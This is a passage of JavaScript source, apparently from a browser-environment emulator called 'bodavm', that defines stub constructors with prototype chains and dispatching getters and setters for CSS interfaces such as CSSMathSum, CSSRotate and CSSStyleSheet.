"CSSLayerBlockRule", "name_get", arguments)}, set:undefined},'prototype'); - -// CSSLayerStatementRule对象 -bodavm.memory.globalobj['CSSLayerStatementRule'] = function CSSLayerStatementRule(){if (!(this instanceof CSSLayerStatementRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSLayerStatementRule'], "CSSLayerStatementRule"); -bodavm.memory.globalobj['CSSLayerStatementRule'].prototype.__proto__=bodavm.memory.globalobj['CSSRule'].prototype; -bodavm.memory.globalobj['CSSLayerStatementRule'].__proto__=bodavm.memory.globalobj['CSSRule']; -bodavm.toolsFunc.defineProperty('CSSLayerStatementRule', "nameList", {configurable:true, enumerable:true, get:function nameList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSLayerStatementRule'].prototype, "CSSLayerStatementRule", "nameList_get", arguments)}, set:undefined},'prototype'); - -// CSSMathClamp对象 -bodavm.memory.globalobj['CSSMathClamp'] = function CSSMathClamp(){if (!(this instanceof CSSMathClamp)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSMathClamp': 3 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathClamp'], "CSSMathClamp"); -bodavm.memory.globalobj['CSSMathClamp'].prototype.__proto__=bodavm.memory.globalobj['CSSMathValue'].prototype; -bodavm.memory.globalobj['CSSMathClamp'].__proto__=bodavm.memory.globalobj['CSSMathValue']; -bodavm.toolsFunc.defineProperty('CSSMathClamp', "lower", {configurable:true, enumerable:true, get:function lower (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathClamp'].prototype, "CSSMathClamp", "lower_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSMathClamp', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathClamp'].prototype, "CSSMathClamp", "value_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSMathClamp', "upper", {configurable:true, enumerable:true, get:function upper (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathClamp'].prototype, "CSSMathClamp", "upper_get", arguments)}, set:undefined},'prototype'); - -// CSSMathInvert对象 -bodavm.memory.globalobj['CSSMathInvert'] = function CSSMathInvert(){if (!(this instanceof CSSMathInvert)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSMathInvert': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathInvert'], "CSSMathInvert"); -bodavm.memory.globalobj['CSSMathInvert'].prototype.__proto__=bodavm.memory.globalobj['CSSMathValue'].prototype; -bodavm.memory.globalobj['CSSMathInvert'].__proto__=bodavm.memory.globalobj['CSSMathValue']; -bodavm.toolsFunc.defineProperty('CSSMathInvert', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathInvert'].prototype, "CSSMathInvert", "value_get", arguments)}, set:undefined},'prototype'); - -// CSSMathMax对象 -bodavm.memory.globalobj['CSSMathMax'] = function CSSMathMax(){if (!(this instanceof CSSMathMax)){return bodavm.toolsFunc.throwError("SyntaxError", "Failed to construct 'CSSMathMax': Arguments can't be empty")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathMax'], "CSSMathMax"); -bodavm.memory.globalobj['CSSMathMax'].prototype.__proto__=bodavm.memory.globalobj['CSSMathValue'].prototype; -bodavm.memory.globalobj['CSSMathMax'].__proto__=bodavm.memory.globalobj['CSSMathValue']; -bodavm.toolsFunc.defineProperty('CSSMathMax', "values", {configurable:true, enumerable:true, get:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathMax'].prototype, "CSSMathMax", "values_get", arguments)}, set:undefined},'prototype'); - -// CSSMathMin对象 -bodavm.memory.globalobj['CSSMathMin'] = function CSSMathMin(){if (!(this instanceof CSSMathMin)){return bodavm.toolsFunc.throwError("SyntaxError", "Failed to construct 'CSSMathMin': Arguments can't be empty")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathMin'], "CSSMathMin"); -bodavm.memory.globalobj['CSSMathMin'].prototype.__proto__=bodavm.memory.globalobj['CSSMathValue'].prototype; -bodavm.memory.globalobj['CSSMathMin'].__proto__=bodavm.memory.globalobj['CSSMathValue']; -bodavm.toolsFunc.defineProperty('CSSMathMin', "values", {configurable:true, enumerable:true, get:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathMin'].prototype, "CSSMathMin", "values_get", arguments)}, set:undefined},'prototype'); - -// CSSMathNegate对象 -bodavm.memory.globalobj['CSSMathNegate'] = function CSSMathNegate(){if (!(this instanceof CSSMathNegate)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSMathNegate': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathNegate'], "CSSMathNegate"); -bodavm.memory.globalobj['CSSMathNegate'].prototype.__proto__=bodavm.memory.globalobj['CSSMathValue'].prototype; -bodavm.memory.globalobj['CSSMathNegate'].__proto__=bodavm.memory.globalobj['CSSMathValue']; -bodavm.toolsFunc.defineProperty('CSSMathNegate', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathNegate'].prototype, "CSSMathNegate", "value_get", arguments)}, set:undefined},'prototype'); - -// CSSMathProduct对象 -bodavm.memory.globalobj['CSSMathProduct'] = function CSSMathProduct(){if (!(this instanceof CSSMathProduct)){return bodavm.toolsFunc.throwError("SyntaxError", "Failed to construct 'CSSMathProduct': Arguments can't be empty")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathProduct'], "CSSMathProduct"); -bodavm.memory.globalobj['CSSMathProduct'].prototype.__proto__=bodavm.memory.globalobj['CSSMathValue'].prototype; -bodavm.memory.globalobj['CSSMathProduct'].__proto__=bodavm.memory.globalobj['CSSMathValue']; -bodavm.toolsFunc.defineProperty('CSSMathProduct', "values", {configurable:true, enumerable:true, get:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathProduct'].prototype, "CSSMathProduct", "values_get", arguments)}, set:undefined},'prototype'); - -// CSSMathSum对象 -bodavm.memory.globalobj['CSSMathSum'] = function CSSMathSum(){if (!(this instanceof CSSMathSum)){return bodavm.toolsFunc.throwError("SyntaxError", "Failed to construct 'CSSMathSum': Arguments can't be empty")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathSum'], "CSSMathSum"); -bodavm.memory.globalobj['CSSMathSum'].prototype.__proto__=bodavm.memory.globalobj['CSSMathValue'].prototype; -bodavm.memory.globalobj['CSSMathSum'].__proto__=bodavm.memory.globalobj['CSSMathValue']; -bodavm.toolsFunc.defineProperty('CSSMathSum', "values", {configurable:true, enumerable:true, get:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathSum'].prototype, "CSSMathSum", "values_get", arguments)}, set:undefined},'prototype'); - -// CSSMatrixComponent对象 -bodavm.memory.globalobj['CSSMatrixComponent'] = function CSSMatrixComponent(){if (!(this instanceof CSSMatrixComponent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSMatrixComponent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMatrixComponent'], "CSSMatrixComponent"); -bodavm.memory.globalobj['CSSMatrixComponent'].prototype.__proto__=bodavm.memory.globalobj['CSSTransformComponent'].prototype; -bodavm.memory.globalobj['CSSMatrixComponent'].__proto__=bodavm.memory.globalobj['CSSTransformComponent']; -bodavm.toolsFunc.defineProperty('CSSMatrixComponent', "matrix", {configurable:true, enumerable:true, get:function matrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMatrixComponent'].prototype, "CSSMatrixComponent", "matrix_get", arguments)}, set:function matrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMatrixComponent'].prototype, "CSSMatrixComponent", "matrix_set", arguments)}},'prototype'); - -// CSSMediaRule对象 -bodavm.memory.globalobj['CSSMediaRule'] = function CSSMediaRule(){if (!(this instanceof CSSMediaRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMediaRule'], "CSSMediaRule"); -bodavm.memory.globalobj['CSSMediaRule'].prototype.__proto__=bodavm.memory.globalobj['CSSConditionRule'].prototype; -bodavm.memory.globalobj['CSSMediaRule'].__proto__=bodavm.memory.globalobj['CSSConditionRule']; -bodavm.toolsFunc.defineProperty('CSSMediaRule', "media", {configurable:true, enumerable:true, get:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMediaRule'].prototype, "CSSMediaRule", "media_get", arguments)}, set:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMediaRule'].prototype, "CSSMediaRule", "media_set", arguments)}},'prototype'); - -// CSSNamespaceRule对象 -bodavm.memory.globalobj['CSSNamespaceRule'] = function CSSNamespaceRule(){if (!(this instanceof CSSNamespaceRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSNamespaceRule'], "CSSNamespaceRule"); -bodavm.memory.globalobj['CSSNamespaceRule'].prototype.__proto__=bodavm.memory.globalobj['CSSRule'].prototype; -bodavm.memory.globalobj['CSSNamespaceRule'].__proto__=bodavm.memory.globalobj['CSSRule']; -bodavm.toolsFunc.defineProperty('CSSNamespaceRule', "namespaceURI", {configurable:true, enumerable:true, get:function namespaceURI (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNamespaceRule'].prototype, "CSSNamespaceRule", "namespaceURI_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNamespaceRule', "prefix", {configurable:true, enumerable:true, get:function prefix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNamespaceRule'].prototype, "CSSNamespaceRule", "prefix_get", arguments)}, set:undefined},'prototype'); - -// CSSNumericArray对象 -bodavm.memory.globalobj['CSSNumericArray'] = function CSSNumericArray(){if (!(this instanceof CSSNumericArray)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSNumericArray'], "CSSNumericArray"); -bodavm.toolsFunc.defineProperty('CSSNumericArray', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericArray'].prototype, "CSSNumericArray", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNumericArray', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericArray'].prototype, "CSSNumericArray", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNumericArray', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericArray'].prototype, "CSSNumericArray", "values", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNumericArray', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericArray'].prototype, "CSSNumericArray", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNumericArray', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericArray'].prototype, "CSSNumericArray", "length_get", arguments)}, set:undefined},'prototype'); - -// CSSPageRule对象 -bodavm.memory.globalobj['CSSPageRule'] = function CSSPageRule(){if (!(this instanceof CSSPageRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSPageRule'], "CSSPageRule"); -bodavm.memory.globalobj['CSSPageRule'].prototype.__proto__=bodavm.memory.globalobj['CSSRule'].prototype; -bodavm.memory.globalobj['CSSPageRule'].__proto__=bodavm.memory.globalobj['CSSRule']; -bodavm.toolsFunc.defineProperty('CSSPageRule', "selectorText", {configurable:true, enumerable:true, get:function selectorText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPageRule'].prototype, "CSSPageRule", "selectorText_get", arguments)}, set:function selectorText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPageRule'].prototype, "CSSPageRule", "selectorText_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSPageRule', "style", {configurable:true, enumerable:true, get:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPageRule'].prototype, "CSSPageRule", "style_get", arguments)}, set:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPageRule'].prototype, "CSSPageRule", "style_set", arguments)}},'prototype'); - -// CSSPerspective对象 -bodavm.memory.globalobj['CSSPerspective'] = function CSSPerspective(){if (!(this instanceof CSSPerspective)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSPerspective': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSPerspective'], "CSSPerspective"); -bodavm.memory.globalobj['CSSPerspective'].prototype.__proto__=bodavm.memory.globalobj['CSSTransformComponent'].prototype; -bodavm.memory.globalobj['CSSPerspective'].__proto__=bodavm.memory.globalobj['CSSTransformComponent']; -bodavm.toolsFunc.defineProperty('CSSPerspective', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPerspective'].prototype, "CSSPerspective", "length_get", arguments)}, set:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPerspective'].prototype, "CSSPerspective", "length_set", arguments)}},'prototype'); - -// CSSPositionValue对象 -bodavm.memory.globalobj['CSSPositionValue'] = function CSSPositionValue(){if (!(this instanceof CSSPositionValue)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSPositionValue': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSPositionValue'], "CSSPositionValue"); -bodavm.memory.globalobj['CSSPositionValue'].prototype.__proto__=bodavm.memory.globalobj['CSSStyleValue'].prototype; -bodavm.memory.globalobj['CSSPositionValue'].__proto__=bodavm.memory.globalobj['CSSStyleValue']; -bodavm.toolsFunc.defineProperty('CSSPositionValue', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPositionValue'].prototype, "CSSPositionValue", "x_get", arguments)}, set:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPositionValue'].prototype, "CSSPositionValue", "x_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSPositionValue', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPositionValue'].prototype, "CSSPositionValue", "y_get", arguments)}, set:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPositionValue'].prototype, "CSSPositionValue", "y_set", arguments)}},'prototype'); - -// CSSPropertyRule对象 -bodavm.memory.globalobj['CSSPropertyRule'] = function CSSPropertyRule(){if (!(this instanceof CSSPropertyRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSPropertyRule'], "CSSPropertyRule"); -bodavm.memory.globalobj['CSSPropertyRule'].prototype.__proto__=bodavm.memory.globalobj['CSSRule'].prototype; -bodavm.memory.globalobj['CSSPropertyRule'].__proto__=bodavm.memory.globalobj['CSSRule']; -bodavm.toolsFunc.defineProperty('CSSPropertyRule', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPropertyRule'].prototype, "CSSPropertyRule", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSPropertyRule', "syntax", {configurable:true, enumerable:true, get:function syntax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPropertyRule'].prototype, "CSSPropertyRule", "syntax_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSPropertyRule', "inherits", {configurable:true, enumerable:true, get:function inherits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPropertyRule'].prototype, "CSSPropertyRule", "inherits_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSPropertyRule', "initialValue", {configurable:true, enumerable:true, get:function initialValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPropertyRule'].prototype, "CSSPropertyRule", "initialValue_get", arguments)}, set:undefined},'prototype'); - -// CSSRotate对象 -bodavm.memory.globalobj['CSSRotate'] = function CSSRotate(){if (!(this instanceof CSSRotate)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSRotate': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSRotate'], "CSSRotate"); -bodavm.memory.globalobj['CSSRotate'].prototype.__proto__=bodavm.memory.globalobj['CSSTransformComponent'].prototype; -bodavm.memory.globalobj['CSSRotate'].__proto__=bodavm.memory.globalobj['CSSTransformComponent']; -bodavm.toolsFunc.defineProperty('CSSRotate', "angle", {configurable:true, enumerable:true, get:function angle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "angle_get", arguments)}, set:function angle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "angle_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRotate', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "x_get", arguments)}, set:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "x_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRotate', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "y_get", arguments)}, set:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "y_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRotate', "z", {configurable:true, enumerable:true, get:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "z_get", arguments)}, set:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "z_set", arguments)}},'prototype'); - -// CSSScale对象 -bodavm.memory.globalobj['CSSScale'] = function CSSScale(){if (!(this instanceof CSSScale)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSScale': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSScale'], "CSSScale"); -bodavm.memory.globalobj['CSSScale'].prototype.__proto__=bodavm.memory.globalobj['CSSTransformComponent'].prototype; -bodavm.memory.globalobj['CSSScale'].__proto__=bodavm.memory.globalobj['CSSTransformComponent']; -bodavm.toolsFunc.defineProperty('CSSScale', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSScale'].prototype, "CSSScale", "x_get", arguments)}, set:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSScale'].prototype, "CSSScale", "x_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSScale', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSScale'].prototype, "CSSScale", "y_get", arguments)}, set:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSScale'].prototype, "CSSScale", "y_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSScale', "z", {configurable:true, enumerable:true, get:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSScale'].prototype, "CSSScale", "z_get", arguments)}, set:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSScale'].prototype, "CSSScale", "z_set", arguments)}},'prototype'); - -// CSSSkew对象 -bodavm.memory.globalobj['CSSSkew'] = function CSSSkew(){if (!(this instanceof CSSSkew)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSSkew': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSSkew'], "CSSSkew"); -bodavm.memory.globalobj['CSSSkew'].prototype.__proto__=bodavm.memory.globalobj['CSSTransformComponent'].prototype; -bodavm.memory.globalobj['CSSSkew'].__proto__=bodavm.memory.globalobj['CSSTransformComponent']; -bodavm.toolsFunc.defineProperty('CSSSkew', "ax", {configurable:true, enumerable:true, get:function ax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkew'].prototype, "CSSSkew", "ax_get", arguments)}, set:function ax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkew'].prototype, "CSSSkew", "ax_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSSkew', "ay", {configurable:true, enumerable:true, get:function ay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkew'].prototype, "CSSSkew", "ay_get", arguments)}, set:function ay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkew'].prototype, "CSSSkew", "ay_set", arguments)}},'prototype'); - -// CSSSkewX对象 -bodavm.memory.globalobj['CSSSkewX'] = function CSSSkewX(){if (!(this instanceof CSSSkewX)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSSkewX': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSSkewX'], "CSSSkewX"); -bodavm.memory.globalobj['CSSSkewX'].prototype.__proto__=bodavm.memory.globalobj['CSSTransformComponent'].prototype; -bodavm.memory.globalobj['CSSSkewX'].__proto__=bodavm.memory.globalobj['CSSTransformComponent']; -bodavm.toolsFunc.defineProperty('CSSSkewX', "ax", {configurable:true, enumerable:true, get:function ax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkewX'].prototype, "CSSSkewX", "ax_get", arguments)}, set:function ax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkewX'].prototype, "CSSSkewX", "ax_set", arguments)}},'prototype'); - -// CSSSkewY对象 -bodavm.memory.globalobj['CSSSkewY'] = function CSSSkewY(){if (!(this instanceof CSSSkewY)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSSkewY': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSSkewY'], "CSSSkewY"); -bodavm.memory.globalobj['CSSSkewY'].prototype.__proto__=bodavm.memory.globalobj['CSSTransformComponent'].prototype; -bodavm.memory.globalobj['CSSSkewY'].__proto__=bodavm.memory.globalobj['CSSTransformComponent']; -bodavm.toolsFunc.defineProperty('CSSSkewY', "ay", {configurable:true, enumerable:true, get:function ay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkewY'].prototype, "CSSSkewY", "ay_get", arguments)}, set:function ay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkewY'].prototype, "CSSSkewY", "ay_set", arguments)}},'prototype'); - -// CSSStyleRule对象 -bodavm.memory.globalobj['CSSStyleRule'] = function CSSStyleRule(){if (!(this instanceof CSSStyleRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSStyleRule'], "CSSStyleRule"); -bodavm.memory.globalobj['CSSStyleRule'].prototype.__proto__=bodavm.memory.globalobj['CSSRule'].prototype; -bodavm.memory.globalobj['CSSStyleRule'].__proto__=bodavm.memory.globalobj['CSSRule']; -bodavm.toolsFunc.defineProperty('CSSStyleRule', "selectorText", {configurable:true, enumerable:true, get:function selectorText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "selectorText_get", arguments)}, set:function selectorText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "selectorText_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleRule', "style", {configurable:true, enumerable:true, get:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "style_get", arguments)}, set:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "style_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleRule', "styleMap", {configurable:true, enumerable:true, get:function styleMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "styleMap_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleRule', "cssRules", {configurable:true, enumerable:true, get:function cssRules (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "cssRules_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleRule', "deleteRule", {configurable:true, enumerable:true, writable:true, value:function deleteRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "deleteRule", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleRule', "insertRule", {configurable:true, enumerable:true, writable:true, value:function insertRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "insertRule", arguments)}},'prototype'); - -// CSSStyleSheet对象 -bodavm.memory.globalobj['CSSStyleSheet'] = function CSSStyleSheet(){this._boarg= new bodaobj.window.CSSStyleSheet();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSStyleSheet'], "CSSStyleSheet"); -bodavm.memory.globalobj['CSSStyleSheet'].prototype.__proto__=bodavm.memory.globalobj['StyleSheet'].prototype; -bodavm.memory.globalobj['CSSStyleSheet'].__proto__=bodavm.memory.globalobj['StyleSheet']; -bodavm.toolsFunc.defineProperty('CSSStyleSheet', "ownerRule", {configurable:true, enumerable:true, get:function ownerRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "ownerRule_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleSheet', "cssRules", {configurable:true, enumerable:true, get:function cssRules (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "cssRules_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleSheet', "rules", {configurable:true, enumerable:true, get:function rules (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "rules_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleSheet', "addRule", {configurable:true, enumerable:true, writable:true, value:function addRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "addRule", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleSheet', "deleteRule", {configurable:true, enumerable:true, writable:true, value:function deleteRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "deleteRule", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleSheet', "insertRule", {configurable:true, enumerable:true, writable:true, value:function insertRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "insertRule", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleSheet', "removeRule", {configurable:true, enumerable:true, writable:true, value:function removeRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "removeRule", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleSheet', 